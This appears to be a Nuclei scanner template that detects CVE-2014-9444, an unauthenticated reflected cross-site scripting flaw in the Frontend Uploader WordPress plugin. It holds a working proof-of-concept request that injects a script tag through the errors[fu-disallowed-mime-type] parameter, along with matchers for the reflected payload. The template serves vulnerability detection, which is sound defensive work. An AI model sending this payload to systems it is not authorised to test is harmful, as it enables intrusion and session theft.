id: CVE-2014-9444

info:
  name: Frontend Uploader <= 0.9.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: The Frontend Uploader WordPress plugin prior to v.0.9.2 was affected by an unauthenticated Cross-Site Scripting security vulnerability.
  impact: |
    Allows remote attackers to inject arbitrary web script or HTML via a crafted file name, leading to potential session hijacking, defacement, or data theft.
  remediation: |
    Update to the latest version of the Frontend Uploader plugin (0.9.2) or apply the vendor-supplied patch to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/f0739b1e-22dc-4ca6-ad83-a0e80228e3c7
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9444
    - http://packetstormsecurity.com/files/129749/WordPress-Frontend-Uploader-0.9.2-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2014-9444
    cwe-id: CWE-79
    epss-score: 0.03285
    epss-percentile: 0.87368
    cpe: cpe:2.3:a:frontend_uploader_project:frontend_uploader:0.9.2:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: frontend_uploader_project
    product: frontend_uploader
    framework: wordpress
  tags: cve2014,cve,wp-plugin,xss,wpscan,packetstorm,wordpress,unauth,frontend_uploader_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?page_id=0&&errors[fu-disallowed-mime-type][0][name]=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210098a9d27a8d9775f7de0107db84589010d463ab7006944134b7acee8e6d130fb002203ab517038af4b05a8f51b3a2998d9a9b325edb2f4286ff56d044510e7daab4e7:922c64590222798bb761d5b6d8e72950